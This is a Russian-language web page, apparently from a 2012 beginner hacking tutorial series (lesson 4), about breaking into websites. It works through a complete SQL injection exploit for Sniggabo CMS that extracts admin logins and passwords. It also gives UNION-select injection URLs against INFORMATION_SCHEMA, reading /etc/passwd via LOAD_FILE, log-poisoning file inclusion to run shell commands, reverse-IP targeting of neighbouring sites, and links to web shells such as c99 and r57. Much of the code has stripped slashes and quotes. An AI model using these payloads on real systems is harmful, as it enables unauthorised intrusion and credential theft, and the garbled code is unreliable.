|
| | |
| Главная » 2012 » Июль » 30 » Основы хакерства. Урок 4
03:38 Основы хакерства. Урок 4 |
Основы хакерства. Урок 4 [ Хакерство для новичков ]
Здравствуйте уважаемые посетители портала. Вы читаете 4 урок из серии «Основы хакерства». А вот что мы сегодня разберем
Методы определения версии движка сайтафорума ReversIP и полезные инструменты. Разбираем сплоит. Более углубленное знакомство с SQL injection php include Прогулка по багтракам.
Методы определения версии движка Вообще при анализе сайта, нужно сразу смотреть есть ли там паблик скрипты(т.е. не самописные) Что бы найти и использовать эксплоит, нужно как минимум узнать имя и версию CMS, форума или каких либо других скриптов расположенных на сайте (фотогаллереи, новостные ленты и т.п.).
Бывает, что данные крутятся в подвале сайта. Но обычно от туда их убирают. Гораздо более эффективный вариант это посмотреть исходный код страницы.
Для танкистов что бы просмотреть исходник страницы нужно нажать на правую кнопку мыши и выбрать «Исходный код страницы», или что то вроде того (в зависимости от браузера).
Итак, в исходнике сначала смотрим на текст заключенные в комментарии ([!-- --]) Как думаю понятно, это текст на странице не отображается. Там как раз могут быть указаны имя версия CMS, иногда можно найти мы администрации и прочие вкусности. В исходнике также можно найти ссылки на каскадные листы стилей (.css). В них иногда тоже можно кое-что найти. Да, еще можно преднамеренно вызвать ошибку. Т.е. попробовать открыть несуществующую папку на сайте (что-то типа www.site.usgone), вполне возможно, что сайт выплюнет полезную инфу. Ну думаю тут ясно. Теперь поговорим о форумах Обычно, что за форум определить несложно. Сложнее узнать версию.
В phpbb например есть очень интересный файлик - CHANGELOG.html Его, возможно обнаружить по пути
forumdocsCHANGELOG.html
Там можно обнаружить надпись вроде
phpBB x.x.x Changelog
В IPB 1.3 присутствуют файлы ssi.php show.php В В 2.0. sourceshelp.php sourcesusercp.php В 2.1. ips_kernelPEAR Ну и к тому же опять же нужно смотреть на исходный код и на ошибки. Кстати, еще стоит сказать, что доверять баннерам в подвале не стоит. Умный администратор поставить фальшивую подпись.
Reverse IP и полезные инструменты. Бывает, что сайт написан на чистом HTML без применения скриптов. Казалось бы, взломать его почти невозможно. Но это не так. Выход-Reverse IP. Суть этой атаки в том, что бы взломать сайт, который хостится на одном сервере с целевым сайтом (если такой имеется). Либо наша цель получить root(права администратора) на сервере. Тогда мы ищем, какие сайты хостятся на сервере и пытаемся взломать один из них. Ну думаю, суть понятна. Другое дело как узнать какие сайты присутствует на сервере. Для этого мы будем использовать сканнеры. Например, я пользуюсь вот этим онлайн сканером от madnet –a
httpmadnet.nametoolsmadss
Так же он составляет примерную структуру сайта. Вот еще неплохой
httpsecurity-digger.org
Тоже присутствует возможность составлять структуру директорий сайта, а также reverse ip.
Допустим, забиваем адрес www.job.ru Сканер выдает нам соседние сайты. Если речь пошла про онлайн тулзы приведу еще одну
httpx3k.ru
Здесь есть куча всяких кодировщиков и декодеровщиков (пригодиться нам при инъекциях), так же есть сканер портов Reverse IP whois сервис и еще несколько. Кстати, если вы пользуетесь браузером firefox, то можете установить плагин Reverse IP
А плагин LiveHTTPHeaders поможет редактировать HTTP заголовки.
Разбираем сплоит. Для тестирования желательно иметь в наличии интерпретатор php. Кажется, на 2 уроке я советовал поставить тебе mysql+apache+php. Если ты уже поставил это и у тебя все работает стабильно то ок. Если не ставил, советую установить Denwer Процесс установки прост до безобразия. В состав входит все, что нам нужно. Тем более на следующем уроке я хотел бы показать анализ одной CMS, так что Денвер просто необходим. Мудрить не будем, и возьмем простой сплоит для Sniggabo CMS
Sniggabo-expl.php 14 июня, 2009 print_r('
################################################
Sniggabo CMS - Remote SQL Injection Exploit
Date 11.06.2009 Vulnerability discovered by Lidloses_Auge Exploit coded by Lidloses_Auge Homepage httpwww.novusec.com Greetz to -=Player=- , Suicide, enco, Palme, GPM, karamble, Free-Hack
Admin Panel [target]adminlogin.php Dork powered by Sniggabo CMS inurlarticle.phpid Use php '.$argv[0].' httpwww.site.com
################################################
'); $url = $argv[1]article.phpId=null+union+select+concat(0x313a3a,userid,0x3a3a,password,0x3a3a) +from+users--; $src = file_get_contents($url); $data = split(,$src); echo Admin $data[1]nPassword $data[2]n;
Во-первых обратим внимания на эту строку
Use php '.$argv[0].' httpwww.site.com
В ней показано, как нужно использовать этот эксплоит. Как видишь запускать его нужно из командно строки. В качестве параметра передаем сайт. Далее сам код
В 1 2 3 строке мы составляем url $argv[1] – сайт, который мы передали в качестве параметра. article.phpId=null+union+select+concat(0x313a3a,userid,0x3a3a,password,0x3a3a)+from+users--; - собственно сам процесс получения логина и пароля.
Далее $src = file_get_contents($url); Обращаемся по составленному адресу и записываем результат в переменную $src $data = split(,$src); Разделяем полученный результат по ключевой строке "” echo Admin $data[1]nPassword $data[2]n;
Выводим. Если мы будем раскручивать уязвимость вручную, то результат будет таким Loginpassword В сплоите как раз по строке мы делим результат. В переменной первый элемент будет login а второй password.
Local PHP include и выполнение произвольного кода. Сейчас мы поговорим, как через локальный инклуд мы сможем выполнить произвольный код. Как ты помнишь с помощью этой уязвимости мы можем читать файлы на сервер. Так вот, значит мы сможем прочитать логи веб сервера. В логах сохраняются все запросы. Нас интересуют httpd-access.log и httpd-error.log. Суть в то, что бы подделать HTTP заголовок записан в поле User-Agent (например) php код. Далее это код запишется в логи, а логии мы можем загружать. Вот тебе и выполнение кода. Во-первых как подделывать заголовки. Выше я приводил удобный плагин LiveHTTPHeaders. Если вы не пользуетесь Фоксом можно скачать программу InetCrack. Итак, давайте попробуем забить в поле Referer такой код
Все код записан в httpd-access.log. Теперь нужно с помощью инклуда подгрузить его. Тут придется перебирать пути до логов.
Вот стандартные httpforum.hackzona.ruforum-f8thread-t13002.html
Ну допустим путь оказался таким
............etcapache2httpd.conf www.include.usindex.phppage= ............etcapache2httpd.conf&cmd=ls
И мы получим листинг файлов текущей директории (ls). Только учти, выполняется только тот код, который стоит первым в логах. Т.е. у нас будет только одна попытка, а потом по новой.
SQL injection. Особенности 5 версии mysql Что такое magic quotes Как можно читать файлы с помощью инъекций.
До этого мы разбирали инъекции в mysql 5 В 5 версии есть кое-какие особенности. Ну значит, с помощью команды version() мы узнали, что база данных версии 5 (or ) В ней присутствует таблица INFORMATION_SCHEMA, в ней находятся таблицы и колонки базы. Она избавит нас от ручного подбора. Реализация
www.site.usindex.phpid=1’ www.site.usindex.phpid=1,table_name,3,4,5,6,7,8,9,10+from+INFORMATION_SCHEMA.TABLES И так тут либо мы увидим все таблицы базы либо только первую. Если второе, то прочитать остальные имена можно с помощью limit
www.site.usindex.phpid=+union+select+1,table_name,3,4,5,6,7,8,9,10+from+INFORMATION_SCHEMA.TABLES +limit1,2
Читаем 2 запись. Так, допустим нашли таблицу. Теперь смотрим поля
www.site.usindex.phpid=1+union+select+1,column_name,3,4,5,6,7,8,9,10+from+INFORMATION_SCHEMA.COLUMNS
Опять же просмотр конкретных записей
www.site.usindex.phpid=+union+select+1,column_name,3,4,5,6,7,8,9,10+from+INFORMATION_SCHEMA.COLUMNS+limit 1,2
Ну и ищем поля типа password или login
Теперь поговорим про магические кавычки (magic quotes) это процесс, который позволяет автоматически экранировать входные данные PHP скрипта. Если magic quotes=on (активны), то входящие одиночные и двойные кавычки, левый слеш и NULL знаки экранируются левыми слешами. Волшебные кавычки бывают
magic_quotes_gpc – проверяет запросы HTTP (GET, POST, и COOKIE) magic_quotes_runtime – функции, которые возвращают данные из внешних источников будут экранироваться левыми слешами. magic_quotes_sybase – одиночные кавычки экранируются двойными Надеюсь понятно, что если magic_quotes = on нам это очень не на руку.
Скоро я расскажу, как это обходить. А теперь как можно прочитать файл с помощью инъекции. Т.е. мы получим тот же локальный php include Ну допустим, есть инъект
www.site.usindex.phpid=+union+select+1,2,3,4,5,6,7,8,9,10
Читабельно поле 2. Загружать файлы можно так
www.site.usindex.phpid=+union+select+1,LOAD_FILE(‘etcpasswd’),4,5,6,7,8,9,10
Прогулка по багтракам. В этом топе я решил разбирать интересные (ну вообще какие будут) уязвимости с багтраков. Вообще я часто уже говорил, что чтение багтрак лент идет только на пользу. Пожалуй приведу несколько
Русскоязычные bugtraq.ru securitylab.ru securityvulns.ru
Остальные milw0rm.com packetstormsecurity.org securityfocus.com
Приложение Во-первых, как вы заметили я опустил раздел xss. На данном этапе пока не знаю что вам рассказывать, поэтому просто дам ссылку на интересную статьюhttpforum.antichat.ruthread8038.html Во вторых несколько ссылок на веб шеллы
c99shellhttperaserevil.pp.net.ua_ld087_SiJ.txt AK-74 httpstranger.nextmail.ruuserban.txt r57shell httpwww.securitylab.rusoftware234092.php Далее советую прочитать недавнюю статью kerny PHP – Include, и немного удачи. ps не забываем что уголковые теги заменены на [ and ]
|
Категория: Сайты и способы их взлома. |
Просмотров: 727 |
Добавил: Maksis
| Рейтинг: 0.0/0 |
Добавлять комментарии могут только зарегистрированные пользователи. [ Регистрация | Вход ]
| |
| | |
|
|